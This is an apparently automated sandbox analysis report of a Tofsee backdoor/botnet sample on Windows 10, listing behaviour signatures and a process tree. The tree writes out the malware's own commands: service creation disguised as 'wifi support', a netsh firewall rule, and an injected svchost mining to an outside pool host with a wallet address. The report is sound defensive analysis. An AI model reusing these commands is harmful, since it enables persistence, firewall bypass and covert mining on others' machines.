Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    08/11/2020, 17:41

General

  • Target
    a2e240cd5c31c15efaabd049a2b17462e57eb5a2b0e089bc6ed3f7aaf40f3b0d.exe
  • Size 12.1MB
  • Sample201108-s7733mlxje
  • SHA256 a2e240cd5c31c15efaabd049a2b17462e57eb5a2b0e089bc6ed3f7aaf40f3b0d
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a2e240cd5c31c15efaabd049a2b17462e57eb5a2b0e089bc6ed3f7aaf40f3b0d.exe
    "C:\Users\Admin\AppData\Local\Temp\a2e240cd5c31c15efaabd049a2b17462e57eb5a2b0e089bc6ed3f7aaf40f3b0d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 552
      2⤵
      • Program crash
      PID:3692
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 672
      2⤵
      • Program crash
      PID:4200
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 700
      2⤵
      • Program crash
      PID:4232
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 704
      2⤵
      • Program crash
      PID:4308
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 812
      2⤵
      • Program crash
      PID:2788
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 936
      2⤵
      • Program crash
      PID:4000
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 952
      2⤵
      • Program crash
      PID:3464
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yslrzxm\
      2⤵
        PID:4188
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 860
        2⤵
        • Program crash
        PID:4432
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 716
        2⤵
        • Program crash
        PID:912
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kshlywff.exe" C:\Windows\SysWOW64\yslrzxm\
        2⤵
          PID:908
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 860
          2⤵
          • Program crash
          PID:944
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1044
          2⤵
          • Program crash
          PID:1312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yslrzxm binPath= "C:\Windows\SysWOW64\yslrzxm\kshlywff.exe /d\"C:\Users\Admin\AppData\Local\Temp\a2e240cd5c31c15efaabd049a2b17462e57eb5a2b0e089bc6ed3f7aaf40f3b0d.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1396
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1072
            2⤵
            • Program crash
            PID:1588
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1076
            2⤵
            • Program crash
            PID:4428
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description yslrzxm "wifi internet conection"
            2⤵
              PID:4044
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1096
              2⤵
              • Program crash
              PID:3172
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1048
              2⤵
              • Program crash
              PID:4528
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start yslrzxm
              2⤵
                PID:4504
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 588
                2⤵
                • Program crash
                PID:4540
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 1040
                2⤵
                • Program crash
                PID:4584
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2332
              • C:\Windows\SysWOW64\yslrzxm\kshlywff.exe
                C:\Windows\SysWOW64\yslrzxm\kshlywff.exe /d"C:\Users\Admin\AppData\Local\Temp\a2e240cd5c31c15efaabd049a2b17462e57eb5a2b0e089bc6ed3f7aaf40f3b0d.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4568
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 580
                  2⤵
                  • Program crash
                  PID:2404
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2728
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4696
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 600
                  2⤵
                  • Program crash
                  PID:3016

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/2728-19-0x0000000008B10000-0x0000000008F1B000-memory.dmp

                    memory/2728-18-0x0000000002710000-0x0000000002715000-memory.dmp

                    memory/2728-20-0x0000000002720000-0x0000000002727000-memory.dmp

                    memory/2728-17-0x00000000003A0000-0x00000000003B0000-memory.dmp

                    memory/2728-15-0x0000000004550000-0x000000000475F000-memory.dmp

                    memory/2728-16-0x0000000000390000-0x0000000000396000-memory.dmp

                    memory/2728-12-0x0000000000360000-0x0000000000375000-memory.dmp

                    memory/4568-11-0x00000000016F0000-0x00000000016F1000-memory.dmp

                    memory/4568-9-0x0000000000C5F000-0x0000000000C60000-memory.dmp

                    memory/4696-21-0x0000000002E00000-0x0000000002EF1000-memory.dmp

                    memory/4772-1-0x0000000002A00000-0x0000000002A01000-memory.dmp